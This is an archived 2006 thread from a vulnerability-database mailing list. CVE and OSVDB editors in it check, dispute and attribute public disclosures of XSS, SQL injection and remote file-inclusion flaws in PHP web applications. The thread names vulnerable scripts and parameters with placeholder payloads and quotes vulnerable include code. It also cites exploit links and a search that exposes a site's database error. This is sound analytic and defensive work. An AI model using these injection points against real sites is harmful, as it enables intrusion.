From jericho at attrition.org  Thu Jun  1 05:37:35 2006
From: jericho at attrition.org (security curmudgeon)
Date: Thu, 1 Jun 2006 05:37:35 -0400 (EDT)
Subject: [VIM] Interlink "news_information.php" XSS (fwd)
Message-ID: <Pine.LNX.4.64.0606010536450.29258@forced.attrition.org>


Found a site running this script with the same two variables. At the 
bottom, it links to the vendor as "Interlink Advantage":
http://www.interlinkadvantage.com/

---------- Forwarded message ----------
From: Mster-X at hotmail.com
To: bugtraq at securityfocus.com
Date: 20 May 2006 08:09:23 -0000
Subject: Interlink "news_information.php" XSS

==========================
Discovery By: Mr-X
Site: www.alshmokh.com
E-mail: Mster-X at hotmail.com
==========================

Example:
/news_information.php?id=12&flag=[XSS]

From jericho at attrition.org  Thu Jun  1 05:40:44 2006
From: jericho at attrition.org (security curmudgeon)
Date: Thu, 1 Jun 2006 05:40:44 -0400 (EDT)
Subject: [VIM] RaceEventManagement <--v0.7.6 SQL injection & XSS (fwd)
Message-ID: <Pine.LNX.4.64.0606010539110.29258@forced.attrition.org>


This is ISS 26580, but while searching google for "nennung.php" found two 
pages of results. The ISS entry, various bugtraq post references, and a 
couple sites using a page with that name. One of them is this site which 
is very suspicious given the subject of the post. I'm thinking this is 
site specific.

http://www.race-event-management.de/rem/nennung.php?pid=1&id=153

---------- Forwarded message ----------
From: Mster-X at hotmail.com
To: bugtraq at securityfocus.com
Date: 20 May 2006 10:20:40 -0000
Subject: RaceEventManagement <--v0.7.6 SQL injection & XSS

============================
Discovery By: Mr-X
Site: www.alshmokh.com
E-mail: Mster-X at hotmail.com
===========================

Example:
/nennung.php?pid=[SQL]
/nennung.php?pid=[XSS]

From coley at mitre.org  Thu Jun  1 20:05:26 2006
From: coley at mitre.org (Steven M. Christey)
Date: Thu, 1 Jun 2006 20:05:26 -0400 (EDT)
Subject: [VIM] file include exploit in Support Cards v1
Message-ID: <200606020005.k5205QBh003733@cairo.mitre.org>


FYI, emailed the following to black-cod3...

=======================================================

Hello,

Is this a product, or is this just a bug on a single web site?


Thank you,
Steve Christey
CVE Editor

From coley at linus.mitre.org  Thu Jun  1 21:20:22 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Thu, 1 Jun 2006 21:20:22 -0400 (EDT)
Subject: [VIM] my Web Server << v-1.0 Denial of Service Exploit (fwd)
Message-ID: <Pine.GSO.4.51.0606012120050.20122@faron.mitre.org>



---------- Forwarded message ----------
Date: Thu, 1 Jun 2006 19:20:12 -0400 (EDT)
From: Steven M. Christey <coley at mitre.org>
To: bugtraq at securityfocus.com
Subject: Re: my Web Server << v-1.0 Denial of Service Exploit


str0ke asked:

>Is this the same vulnerability?
>http://www.securityfocus.com/bid/5954


Well, let's see.  Short answer is "probably not because they don't
seem to be the same product."


The most recent disclosure points to "MY Web Server" at
http://eitsop.s5.com/, which links to source code in a ZIP file.

Downloading the source code, we have a readme.txt that is dated June
22, 2002; the MyWS.exe also has this date.  The deployment is very
simple, with a handful of template files with minimal contents.

summary:

Author - eitsop
Product - MY Web Server
Version - 1.0
Date - June 22, 2002
Source Code - yes


Now, the original disclosure as identified in BID 5954 points to a
Bugtraq post (http://seclists.org/lists/bugtraq/2002/Oct/0177.html ;
the securityfocus URL is broken) which points to
http://www.mywebserver.org/

Note that there appears to be vendor acknowledgement of the issue in
1.0.3 in this changelog:
http://www.mywebserver.org/us/downloads/whats_new_in_this_version.shtml

which says "MyWebServers handles very long URL's and search strings
making it invulnerable to DOS (Denial Of Service) Attacks by hackers."


Still, the question remains - are these the same product or not?


The author is different - Seth Snyder

The product spelling is slightly different - MyWebServer (one word,
instead of three)

The current version is 1.0.3.  A quick look suggests many more
features than the Eitsop version.

Looking at the history provided in the above URL, we have 2 dates for
version 1.0 beta releases: 05/24/01 and 07/15/01

So, the release dates are also different.

Finally, I ran "strings" on the two versions and compared results.
The only shared strings were "My Web Server", "Request", "index.html",
and a few other incidental matches.


So - we have different authors, different spellings, different release
dates, and entirely different strings.  Looks different enough to me.

But since they're web servers in early stages of development, it's not
surprising that they join a couple dozen other web servers for having
a buffer overflow using a long GET request - which is clearly
"Vulnerability Assessment Assurance Level" 0, to remind people of
David Litchfield's recent proposals on rating software security.

- Steve

From coley at mitre.org  Fri Jun  2 20:19:48 2006
From: coley at mitre.org (Steven M. Christey)
Date: Fri, 2 Jun 2006 20:19:48 -0400 (EDT)
Subject: [VIM] zone-h.org links broken
Message-ID: <200606030019.k530Jmn0028094@cairo.mitre.org>


Looks like most/all of the zone-h.org vuln links are broken :-(

e.g:

  http://www.zone-h.org/en/advisories/read/id=8480/
  http://www.zone-h.org/advisories/read/id=8485
  http://www.zone-h.org/en/advisories/read/id=8650/


Apparently this is part of a web redesign:

  http://www.zone-h.org/content/view/4467/30/


I couldn't figure out if the URLs were moved elsewhere.  A search for
some keywords failed (e.g. id 8650 above is SPIP, which returned 0
results).

Given that their "ITSEC ADVISORIES" section is only 2 pages long, it's
not clear where the old content is.  I sent an e-mail (or at least
filled out the contact form).


- Steve

From admin at zone-h.fr  Fri Jun  2 21:39:08 2006
From: admin at zone-h.fr (Siegfried)
Date: Sat, 3 Jun 2006 03:39:08 +0200 (CEST)
Subject: [VIM] zone-h.org links broken
In-Reply-To: <200606030019.k530Jmn0028094@cairo.mitre.org>
References: <200606030019.k530Jmn0028094@cairo.mitre.org>
Message-ID: <59408.217.201.80.34.1149298748.squirrel@webmail.zone-h.fr>

Hi Steve,
The content wasn't imported yet, it will soon be available, about the
links; they may be working again after some days.

Siegfried

Le Sam 3 juin 2006 02:19, Steven M. Christey a ?crit :
>

> Looks like most/all of the zone-h.org vuln links are broken :-(
>
>
> e.g:
>
>
> http://www.zone-h.org/en/advisories/read/id=8480/
> http://www.zone-h.org/advisories/read/id=8485
> http://www.zone-h.org/en/advisories/read/id=8650/
>
>
>
> Apparently this is part of a web redesign:
>
>
> http://www.zone-h.org/content/view/4467/30/
>
>
>
> I couldn't figure out if the URLs were moved elsewhere.  A search for
> some keywords failed (e.g. id 8650 above is SPIP, which returned 0
> results).
>
> Given that their "ITSEC ADVISORIES" section is only 2 pages long, it's
> not clear where the old content is.  I sent an e-mail (or at least filled
> out the contact form).
>
>
> - Steve
>
>


From coley at linus.mitre.org  Fri Jun  2 21:51:32 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Fri, 2 Jun 2006 21:51:32 -0400 (EDT)
Subject: [VIM] zone-h.org links broken
In-Reply-To: <59408.217.201.80.34.1149298748.squirrel@webmail.zone-h.fr>
References: <200606030019.k530Jmn0028094@cairo.mitre.org>
	<59408.217.201.80.34.1149298748.squirrel@webmail.zone-h.fr>
Message-ID: <Pine.GSO.4.51.0606022150240.20565@faron.mitre.org>


On Sat, 3 Jun 2006, Siegfried wrote:

> The content wasn't imported yet, it will soon be available, about the
> links; they may be working again after some days.

OK, cool deal, thanks.  I hate it when good links go bad :)

- Steve

From jericho at attrition.org  Sat Jun  3 04:19:14 2006
From: jericho at attrition.org (security curmudgeon)
Date: Sat, 3 Jun 2006 04:19:14 -0400 (EDT)
Subject: [VIM] 25430: Jadu CMS register.php Multiple Variable XSS (fwd)
Message-ID: <Pine.LNX.4.64.0606030417350.27088@forced.attrition.org>


After replying to this, Suraj agreed that posting to the list would be 
good.

---------- Forwarded message ----------
From: Suraj Kika 
To: security curmudgeon <jericho at attrition.org>
Date: Fri, 2 Jun 2006 15:21:47 +0100
Subject: Re: [OSVDB Mods] [Change Request] 25430: Jadu CMS register.php Multiple
      Variable XSS

Hi Brian

Thanks again for your personal attention here which is really appreciated.

> Bear with me here please =) The more I understand the situation, the more
> I can help out. First, this sounds like you are talking about a script
> that was part of a hosted solution, not a downloaded/sold product. Is that
> true?

Yes indeed - thats true.

To clarify - the 'register.php' is not part of our core Jadu CMS software. The 
CMS itself is purely a back end to any web front end. Many customers share 
scripts and code with each other. Many develop their own code - none of which 
is part of the software.

'register.php' is the generic name of a script that Jadu CMS requires in order 
to facilitate the user database area of the CMS. This is implemented by web 
designers/developers/clients. Its not part of the core Jadu CMS software.

[..]

> Second, I can help with that. There is a mail list where many of the
> vulnerability databases talk and share this type of information. Once I
> get the answer to the question above, I can send all of our dialogue to
> the list so other VDBs can update as well. When I do, I will remove your
> email address (to help prevent spam problems), but leave your name and
> company name for reference.

We do have a concern that posting again would cause another chain-reaction. At 
the moment, if you search Google for 'Jadu CMS' - you will see the damage :( 
Its been very hard for us as we are only  small company. Do you think posting 
again would update the existing advisory posts or create new ones?

If this means that our organic search results become diluted again with more 
security advisory results - im not sure we can take the hit again.

Let me know what you think...

Suraj














On 2 Jun 2006, at 09:31, security curmudgeon wrote:

> 
> Hey Suraj,
> 
> : We had an issue where the input fields on a small number of web
> : interfaces using a version of 'register.php' - a non-generic customised
> : script - which were not correctly validated and hence allowed javascript
> : to be entered. The Jadu CMS database itself is protected from cross site
> : scripts and injection attacks.
> :
> : The issue was reported on Secunia and we found the affected sites and
> : implemented a patch on their behalf. None of the underlying Jadu CMS
> : systems were affected.
> 
> Bear with me here please =) The more I understand the situation, the more
> I can help out. First, this sounds like you are talking about a script
> that was part of a hosted solution, not a downloaded/sold product. Is that
> true?
> 
> : Im trying to contact each advisory - and ask them to update their records.
> 
> Second, I can help with that. There is a mail list where many of the
> vulnerability databases talk and share this type of information. Once I
> get the answer to the question above, I can send all of our dialogue to
> the list so other VDBs can update as well. When I do, I will remove your
> email address (to help prevent spam problems), but leave your name and
> company name for reference.
> 
> : It may be advisable to list the sites affected rather than the product?
> 
> Each of the VDBs operate by product/vendor, not sites running them. If the
> register.php script was part of a hosted solution, or something written
> specific to a web site (even if re-used for a dozen sites), but not
> something sold or offered to other people in any form, then it is
> considered a site-specific issue and doesn't qualify for inclusion in most
> VDBs.
> 
> Brian
> OSVDB.org
>

--
Suraj Kika
CEO

Jadu Limited,
Development Centre: LCB, 31 Rutland Street, Leicester LE1 1RE
Main office: PO Box 2554, Rugby, Warwickshire CV21 4ZE

PLEASE NOTE THAT OUR CONTACT NUMBERS HAVE CHANGED:
T: 0116 253 3423 F: 0116 253 3424

http://www.jadu.co.uk
--
ISO 9001:2000 registered firm GB2001425

From jericho at attrition.org  Mon Jun  5 00:55:13 2006
From: jericho at attrition.org (security curmudgeon)
Date: Mon, 5 Jun 2006 00:55:13 -0400 (EDT)
Subject: [VIM] RaceEventManagement <--v0.7.6 SQL injection & XSS (fwd)
In-Reply-To: <Pine.LNX.4.64.0606010539110.29258@forced.attrition.org>
References: <Pine.LNX.4.64.0606010539110.29258@forced.attrition.org>
Message-ID: <Pine.LNX.4.64.0606050054520.27088@forced.attrition.org>


: This is ISS 26580, but while searching google for "nennung.php" found 
: two pages of results. The ISS entry, various bugtraq post references, 
: and a couple sites using a page with that name. One of them is this site 
: which is very suspicious given the subject of the post. I'm thinking 
: this is site specific.
: 
: http://www.race-event-management.de/rem/nennung.php?pid=1&id=153

As Sullo points out to me:

if you search inurl:nennung.php i see a bunch of race sites using it... 
so i think it's a product, someplace...


From jericho at attrition.org  Mon Jun  5 01:38:08 2006
From: jericho at attrition.org (security curmudgeon)
Date: Mon, 5 Jun 2006 01:38:08 -0400 (EDT)
Subject: [VIM] a question of credit
Message-ID: <Pine.LNX.4.64.0606050135070.27088@forced.attrition.org>


We're seeing more and more of these types of disclosures lately, and I 
know several of us have talked about them and groan each time they happen.

So, examine these two clips:

#1

---------- Forwarded message ----------
From: kubasx at gmail.com
To: bugtraq at securityfocus.com
Date: 30 May 2006 18:47:16 -0000
Subject: toendaCMS 0.7.0 Cross Site Scripting

Discovery By: Jokubas.S
===================================
Example: http://target/?id=[XSS]
===================================
irc.data.lt #offence
===================================


#2

http://secunia.com/advisories/20391/

Input passed to the "print_url" variable via _SERVER[QUERY_STRING] in 
engine/extensions/ext_footer/content_footer.php is not properly sanitised 
before being returned to the user. This can be exploited to execute 
arbitrary HTML and script code in a user's browser session in context of 
an affected site.

Successful exploitation requires that the user is running a browser that 
has not URL-encoded the request (e.g. Internet Explorer).


--

Now, who really deserves credit here? Jokubas.S obviously pasted in some 
boring XSS code and saw a pop up window then posted to Bugtraq. But he 
didn't know or disclose this is apparently only valid in MSIE, that the 
flaw stems from a problem in content_footer.php, etc.

From coley at mitre.org  Mon Jun  5 11:53:13 2006
From: coley at mitre.org (Steven M. Christey)
Date: Mon, 5 Jun 2006 11:53:13 -0400 (EDT)
Subject: [VIM] phpESP ADODB fix is for old ADODB vuln
Message-ID: <200606051553.k55FrDf5029665@cairo.mitre.org>


FYI, from one of our CVE analysts here...

Ref: CVE-2006-0806 - ADODB XSS

At issue here was a very short changelog entry for phpESP 1.8.2 that
says "FIXED ADODB SQL INJECT issue."

  http://sourceforge.net/project/shownotes.php?release_id=419843&group_id=8956


For us at CVE, the mention of ADODB isn't enough to prove that it's
really addressing CVE-2006-0806.  Obviously there's the different bug
type, but in addition, there could be an error in how phpESP *uses*
adodb (e.g. consider the recent MailManager "postgresql" hole).

So...

using this diff here:

  http://phpesp.cvs.sourceforge.net/phpesp/phpESP/admin/include/lib/adodb/adodb-pager.inc.php?r1=1.1&r2=1.2

The analyst was able to conclude:

  ACCURACY: The 1.8.2 changelog entry for Matthew Gregg and James
  Flemer php Easy Survey Package (phpESP) says "FIXED ADODB SQL INJECT
  issue."  However, apparently the only ADODB-related source-code
  change in phpESP 1.8.2 is one that addresses the Cross Site
  Scripting issues in ADODB 4.71. Specifically, the code change
  matches what is described in the GulfTech advisory for curr_page and
  PHP_SELF. It is unclear why the changelog says "SQL INJECT" when
  Matthew Gregg wrote "fix for ADODB XSS vulnerability" in his CVS
  commit message. Probably he meant to write XSS in the changelog but
  inadvertently wrote SQL INJECT instead.

From theall at tenablesecurity.com  Mon Jun  5 15:58:44 2006
From: theall at tenablesecurity.com (George A. Theall)
Date: Mon, 05 Jun 2006 15:58:44 -0400
Subject: [VIM] # MHG Security Team ---Rumble 1.02 version Remote File Inc.
Message-ID: <44848CF4.1090207@tenablesecurity.com>

FWIW, MHG Security Team recently published an advisory on Bugtraq about
a product named "Rumble", but they failed to provide a link to the
vendor or mention anything else about it.

Well, in case anyone's interested, the product seems to be this:

  http://dev.lophty.com/rumble/

which is also available here:

  http://www.getfreesofts.com/script/869/157/RUMBLE.html

And maybe I've just been staring at things too much today, but I fail to
see how this is a flaw as it is currently written  - the script
initializes the array at the start and only sets variables, never
calling another PHP script.


George
-- 
theall at tenablesecurity.com

From coley at mitre.org  Mon Jun  5 16:49:21 2006
From: coley at mitre.org (Steven M. Christey)
Date: Mon, 5 Jun 2006 16:49:21 -0400 (EDT)
Subject: [VIM] product name: PHPcafe.net Tutorials Manager
Message-ID: <200606052049.k55KnL3k005110@cairo.mitre.org>


some people are spelling it "Tutorial Manager" but a glance at the
home page reveals the correct spelling...

  http://www.phpcafe.net/index.php/pg/tmain

- Steve

From jericho at attrition.org  Mon Jun  5 17:03:58 2006
From: jericho at attrition.org (security curmudgeon)
Date: Mon, 5 Jun 2006 17:03:58 -0400 (EDT)
Subject: [VIM] CS-Cart issue maybe PHPMailer?
Message-ID: <Pine.LNX.4.64.0606051700370.27088@forced.attrition.org>


http://milw0rm.com/exploits/1872

The example url:
/[CS-Cart_path]/classes/phpmailer/class.cs_phpmailer.php?classes_dir=[evil_scripts]


Looking at the PHPMailer package (http://phpmailer.sourceforge.net/), we 
see it has "class.phpmailer.php" in it. It is likely CS-Cart utilizes the 
free PHPMailer package and the vulnerability lies in it. I am contacting 
Brent Matzelle to ask.

From coley at mitre.org  Mon Jun  5 17:47:34 2006
From: coley at mitre.org (Steven M. Christey)
Date: Mon, 5 Jun 2006 17:47:34 -0400 (EDT)
Subject: [VIM] WeBWorK Online template issue - more details
Message-ID: <200606052147.k55LlY3t006048@cairo.mitre.org>


Refs:

  http://sourceforge.net/project/shownotes.php?release_id=421453
  FRSIRT:ADV-2006-2086
  SECUNIA:20405

I glanced through a mailing list and saw this:

  http://sourceforge.net/mailarchive/forum.php?thread_id=10201693&forum_id=43257


So, looks like a couple avenues for directory traversal in
PGProblemEditor.pm.

- Steve

From coley at linus.mitre.org  Mon Jun  5 18:28:37 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 5 Jun 2006 18:28:37 -0400 (EDT)
Subject: [VIM] # MHG Security Team ---Rumble 1.02 version Remote File
 Inc.
In-Reply-To: <44848CF4.1090207@tenablesecurity.com>
References: <44848CF4.1090207@tenablesecurity.com>
Message-ID: <Pine.GSO.4.51.0606051824190.21114@faron.mitre.org>


On Mon, 5 Jun 2006, George A. Theall wrote:

> And maybe I've just been staring at things too much today, but I fail to
> see how this is a flaw as it is currently written  - the script
> initializes the array at the start and only sets variables, never
> calling another PHP script.

I don't see anything relevant either...

from config.php (in 1.02):

  $configArr = array();
  //--------------------------------------------------------------------
  // 'pathtodir' = the absolute path to directory containing your "rumble"
  install
  //--------------------------------------------------------------------
  $configArr['pathtodir'] = "http://dev.monokromatik.com/rumble/";

Nothing else is provided.

Maybe it was a custom site that was tested?

- Steve

From coley at mitre.org  Mon Jun  5 21:02:14 2006
From: coley at mitre.org (Steven M. Christey)
Date: Mon, 5 Jun 2006 21:02:14 -0400 (EDT)
Subject: [VIM] ashnews issue seems to be old rediscovery
Message-ID: <200606060102.k5612ENY009298@cairo.mitre.org>


Ref:

  http://www.milw0rm.com/exploits/1864

same affected version and exploit vectors as CVE-2003-1292, and
apparently there was a rediscovery in January, which George seems to
know about :)

- Steve

======================================================
Name: CVE-2003-1292
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1292
Acknowledged: yes followup
Announced: 20030720
Flaw: php-include
Reference: BUGTRAQ:20030720 sorry, wrong file
Reference: URL:http://www.securityfocus.com/archive/1/329910
Reference: FULLDISC:20060130 Re: ashnews Cross-Site Scripting Vulnerability
Reference: URL:http://archives.neohapsis.com/archives/fulldisclosure/2006-01/0969.html
Reference: FULLDISC:20060131 Re: ashnews Cross-Site Scripting Vulnerability
Reference: URL:http://archives.neohapsis.com/archives/fulldisclosure/2006-01/0979.html
Reference: FULLDISC:20060131 Re: ashnews Cross-Site Scripting Vulnerability
Reference: URL:http://archives.neohapsis.com/archives/fulldisclosure/2006-01/0980.html
Reference: CONFIRM:http://forums.ashwebstudio.com/viewtopic.php?t=353&start=0
Reference: BID:16436
Reference: URL:http://www.securityfocus.com/bid/16436
Reference: SECUNIA:9331
Reference: URL:http://secunia.com/advisories/9331

PHP remote file include vulnerability in Derek Ashauer ashNews 0.83
allows remote attackers to include and execute arbitrary remote files
via a URL in the pathtoashnews parameter to (1) ashnews.php and (2)
ashheadlines.php.


Analysis:
ACKNOWLEDGEMENT: The vendor's forum post says 'There is a security
vulnerability in ashnews. ... On line 22 (or somewhere close to it)
... include($pathtoashnews."ashprojects/newsconfig.php"); ... Should
be ... include("ashprojects/newsconfig.php");.' The forum post is
written as a followup to related information on a
security-corporation.com web page (which seems to no longer exist).



From coley at linus.mitre.org  Mon Jun  5 23:42:25 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 5 Jun 2006 23:42:25 -0400 (EDT)
Subject: [VIM] CS-Cart issue maybe PHPMailer?
In-Reply-To: <Pine.LNX.4.64.0606051700370.27088@forced.attrition.org>
References: <Pine.LNX.4.64.0606051700370.27088@forced.attrition.org>
Message-ID: <Pine.GSO.4.51.0606052340080.29195@faron.mitre.org>


might not be PHPmailer.  Just downloaded phpmailer from that URL and
grepped for classes_dir - no go.  So this might be an
interface/integration issue (speaking of which, is anybody else sick of
integration issues yet? I have a feeling it's gonna get worse).

Anyway, since you emailed the PHPMailer people I figured I'd send an
inquiry to the CS-Cart people at http://www.cs-cart.com/contact.php .
Stay tuned.

- Steve



On Mon, 5 Jun 2006, security curmudgeon wrote:

>
> http://milw0rm.com/exploits/1872
>
> The example url:
> /[CS-Cart_path]/classes/phpmailer/class.cs_phpmailer.php?classes_dir=[evil_scripts]
>
>
> Looking at the PHPMailer package (http://phpmailer.sourceforge.net/), we
> see it has "class.phpmailer.php" in it. It is likely CS-Cart utilizes the
> free PHPMailer package and the vulnerability lies in it. I am contacting
> Brent Matzelle to ask.
>

From coley at mitre.org  Tue Jun  6 00:12:37 2006
From: coley at mitre.org (Steven M. Christey)
Date: Tue, 6 Jun 2006 00:12:37 -0400 (EDT)
Subject: [VIM] It's the defacers, stupid
Message-ID: <200606060412.k564Cb77012424@cairo.mitre.org>


Sitting and staring at the 598'th post with minimal details and
obvious inconsistencies, it suddenly became clear...  It's the
defacers, stupid!  There are lots of cut-and-paste researchers out
there, sure...  but it's clear from the signatures and commentary of
various mailing list posters, that some of the more frequent posters
are in the business of defacing, which is entirely attack focused.  So
there isn't a need or desire to figure out the underlying product
relationships, environmental restrictions, etc.

Am I slow?  Did everyone else know this and not bother to mention it?
Agree or disagree?

(it's a theory, anyway)

- Steve

From jericho at attrition.org  Tue Jun  6 00:28:18 2006
From: jericho at attrition.org (security curmudgeon)
Date: Tue, 6 Jun 2006 00:28:18 -0400 (EDT)
Subject: [VIM] It's the defacers, stupid
In-Reply-To: <200606060412.k564Cb77012424@cairo.mitre.org>
References: <200606060412.k564Cb77012424@cairo.mitre.org>
Message-ID: <Pine.LNX.4.64.0606060019340.27088@forced.attrition.org>


: Sitting and staring at the 598'th post with minimal details and obvious 
: inconsistencies, it suddenly became clear...  It's the defacers, stupid!  
: There are lots of cut-and-paste researchers out there, sure...  but it's 
: clear from the signatures and commentary of various mailing list 
: posters, that some of the more frequent posters are in the business of 
: defacing, which is entirely attack focused.  So there isn't a need or 
: desire to figure out the underlying product relationships, environmental 
: restrictions, etc.
: 
: Am I slow?  Did everyone else know this and not bother to mention it? 
: Agree or disagree?

Two years ago, I would have been all over that theory =)

This should be easy to determine by watching the zone-h defacement 
archives for a few days or weeks. This assumes that they are defacing 
under one name and not switching for disclosing vulns.

I can say that historically, back when the attrition mirror was running, 
this was not the case. Most defacers used precanned scripts that allowed 
for remote code execution. It was rare to see any defacer post to the 
regular disclosure type lists.

Even now, I have doubts. Most of these crappy disclosures are cross-site 
scripting, and some SQL injection. I seriously doubt they are using XSS to 
do defacing. While SQL has the power to do that (even if it means dumping 
admin password, logging in and editing), most of these SQL injection 
discovering scream ' paste testing, look for error, cry out SQL injection. 
I have serious doubts about many of them being able to craft the query 
needed to exploit it for that type of privilege escalation.

From coley at linus.mitre.org  Tue Jun  6 01:44:35 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 6 Jun 2006 01:44:35 -0400 (EDT)
Subject: [VIM] CS-Cart: request for information (fwd)
Message-ID: <Pine.GSO.4.51.0606060143300.29195@faron.mitre.org>


FYI - received approval to forward.

---------- Forwarded message ----------
Date: Tue, 6 Jun 2006 09:21:48 +0400
From: CS-Cart.com Sales department <sales at cs-cart.com>
To: coley at mitre.org
Subject: Re: CS-Cart: request for information

Dear Steve,

My name is Vladimir Kalynyak, I'm a Senior Sales Executive at CS-Cart.com.

Thank you for contacting us regarding the issue with CS-Cart
vulnerability.

Yes, the information at http://milw0rm.com/exploits/1872 actually
describes the vulnerability CS-Cart software contained. By this moment
this issue has been fixed for all affected versions(1.3.0-1.3.3) and all
CS-Cart users have been provided with a Security Update and instructions
on how to eleminate the vulnerability.

--
Thank you
Vladimir Kalynyak
Senior Sales Executive, CS-Cart.com
http://www.cs-cart.com/

From coley at linus.mitre.org  Tue Jun  6 02:51:25 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 6 Jun 2006 02:51:25 -0400 (EDT)
Subject: [VIM] It's the defacers, stupid
In-Reply-To: <Pine.LNX.4.64.0606060019340.27088@forced.attrition.org>
References: <200606060412.k564Cb77012424@cairo.mitre.org>
	<Pine.LNX.4.64.0606060019340.27088@forced.attrition.org>
Message-ID: <Pine.GSO.4.51.0606060239590.29195@faron.mitre.org>


On Tue, 6 Jun 2006, security curmudgeon wrote:

> I can say that historically, back when the attrition mirror was running,
> this was not the case. Most defacers used precanned scripts that allowed
> for remote code execution. It was rare to see any defacer post to the
> regular disclosure type lists.

You don't need precanned scripts any more, though - as you point out, a
couple ' and <script> will quickly yield you something.

> Even now, I have doubts. Most of these crappy disclosures are cross-site
> scripting, and some SQL injection. I seriously doubt they are using XSS to
> do defacing.

There have been various disclosures that have specifically mentioned HTML
injection as a means of doing permanent defacement.  'course I can't think
of any right now, and maybe it was just one of the frequent disclosers
saying it again and again, but I'll keep my eye out for the next one.

And if all you wanna do is deface, then HTML injection is a very easy way
to do it, and PHP file inclusion isn't much more difficult, especially
with PHP "shellcode".

Here are a couple Bugtraq URLs that mention "deface" or "defaced" or
"defacement" - granted it's just a drop in the bucket of XSS :)

http://marc.theaimsgroup.com/?l=bugtraq&m=114710173409997&w=2
http://marc.theaimsgroup.com/?l=bugtraq&m=114463137921014&w=2
http://marc.theaimsgroup.com/?l=bugtraq&m=113570387800157&w=2
http://marc.theaimsgroup.com/?l=bugtraq&m=112439025327479&w=2
http://marc.theaimsgroup.com/?l=bugtraq&m=114211516817244&w=2
http://marc.theaimsgroup.com/?l=bugtraq&m=114945545127270&w=2
http://marc.theaimsgroup.com/?l=bugtraq&m=114867449028870&w=2
http://marc.theaimsgroup.com/?l=bugtraq&m=114867313724418&w=2
http://marc.theaimsgroup.com/?l=bugtraq&m=114002455209729&w=2


- Steve

From jericho at attrition.org  Tue Jun  6 03:24:19 2006
From: jericho at attrition.org (security curmudgeon)
Date: Tue, 6 Jun 2006 03:24:19 -0400 (EDT)
Subject: [VIM] YLZH(right.php)Cross Site Scripting (fwd)
Message-ID: <Pine.LNX.4.64.0606060322450.27088@forced.attrition.org>



Oh how we are loving these disclosures! While doing a fast search on this, 
google "inurl:right.php?deptid" comes up with something interesting. I 
know adding the variable like that isn't condusive to finding info usually 
but check this:

http://www.google.com/search?hl=en&lr=&c2coff=1&q=inurl%3Aright.php%3Fdeptid&btnG=Search

Database Error - [ Translate this page ]
Database error in ylzh : Invalid SQL: select deptname, typename,deptype 
from depart d join type t on t.deptid=d.deptid where t.deptid=97 and 
t.typeid='488' ...
www.hndrc.gov.cn/right.php?deptid=97& 
typeid=488&PHPSESSID=4ba8943727956054e0242f1b385c3043 - 2k -


---------- Forwarded message ----------
From: Breeeeh at hotmail.com
To: bugtraq at securityfocus.com
Date: 23 May 2006 12:13:02 -0000
Subject: YLZH(right.php)Cross Site Scripting

==========================
Discovery By: Breeeeh
Site: www.alshmokh.com
E-mail: Breeeeh at hotmail.com
==========================

Example:
/right.php?deptid=[XSS]

From jericho at attrition.org  Tue Jun  6 05:17:32 2006
From: jericho at attrition.org (security curmudgeon)
Date: Tue, 6 Jun 2006 05:17:32 -0400 (EDT)
Subject: [VIM] Smartor Photo Album - dispute
Message-ID: <Pine.LNX.4.64.0606060516420.27088@forced.attrition.org>


original disclosure:
http://archives.neohapsis.com/archives/bugtraq/2005-04/0190.html

I did a spot check of the distribution and didn't see an occurance of 
'bsid' either. Posting my reply after this mail.

---------- Forwarded message ----------
From: "[ISO-8859-1] S?nke"
To: security curmudgeon <jericho at attrition.org>
Date: Wed, 31 May 2006 15:25:18 +0200
Subject: Re: Wrong information

Hello Brian...

thank you for reminding me on this matter.

The reports on smartor photo album http://www.osvdb.org/15933 and 
http://www.osvdb.org/15932 state, that a varibale named BSID (which most should 
be related to the session-ID-controll in phpBB) is not validated. I talked to 
smartor and worked with that very script for myself for quite some time. 
Smartor said, that he never used BSID.. thus it cannot be transmitted. I myself 
verified this in all files and code comming with Smartor's Photo Album Hack.

If there's a not validated var called BSID it is most likely part of some addon 
for the photo album and not part of the original code. Thus I think it is not 
right to list the above mentioned item in the database..

Thank you

Minc

From coley at mitre.org  Tue Jun  6 23:39:59 2006
From: coley at mitre.org (Steven M. Christey)
Date: Tue, 6 Jun 2006 23:39:59 -0400 (EDT)
Subject: [VIM] vuln DB gathering at Black Hat?
Message-ID: <200606070339.k573dxpA007314@cairo.mitre.org>


Hi all,

Will various people be going to Black Hat?  Would it be worth having a
gathering of some sort?  Even if it's just to complain in person
instead of on this list :)

- Steve

From sullo at cirt.net  Wed Jun  7 00:00:48 2006
From: sullo at cirt.net (Sullo)
Date: Wed, 07 Jun 2006 00:00:48 -0400
Subject: [VIM] vuln DB gathering at Black Hat?
In-Reply-To: <200606070339.k573dxpA007314@cairo.mitre.org>
References: <200606070339.k573dxpA007314@cairo.mitre.org>
Message-ID: <44864F70.8090601@cirt.net>

Steven M. Christey wrote:
> Hi all,
>
> Will various people be going to Black Hat?  Would it be worth having a
> gathering of some sort?  Even if it's just to complain in person
> instead of on this list :)
>   

I'll be at Defcon... (assuming I buy some tickets and find a place to
stay!), but not BH.


-- 

http://www.cirt.net/      |     http://www.osvdb.org/


From coley at mitre.org  Wed Jun  7 00:23:44 2006
From: coley at mitre.org (Steven M. Christey)
Date: Wed, 7 Jun 2006 00:23:44 -0400 (EDT)
Subject: [VIM] verify Wikiwig wk_lang.php file inclusion
Message-ID: <200606070423.k574Nixm008040@cairo.mitre.org>


ref: http://www.milw0rm.com/exploits/1883

Figured I'd check out the claims since Kacper has been showing up more
often.

from the download for version 4_1, here is the relevant stuff from
wk_lang.php:

   if(isset($WK)) {
       $dir_langs = $WK['wkPath'].$WK['systemDir'].'/lang/';
       $file_lang = $dir_langs.$WK['lang'].'.php';
       
       if(!@is_file($file_lang)){ // language file not available
           $WK['lang'] = 'fr'; // use default french
           require_once $dir_langs.$WK['lang'].'.php';
       }
       else // retrieves language defs
           require_once $file_lang;

This code is at the top, so this file probably expects to be included
by other files.  A direct request with a modified $WK['wkPath'] seems
relevant.

By the way - lately I've been suspecting that most PHP file inclusion
issues, and possibly other vulns we see so much in PHP apps, are
enabled by direct requests to files that were never intended to be
accessed directly.

- Steve

From coley at mitre.org  Wed Jun  7 18:23:39 2006
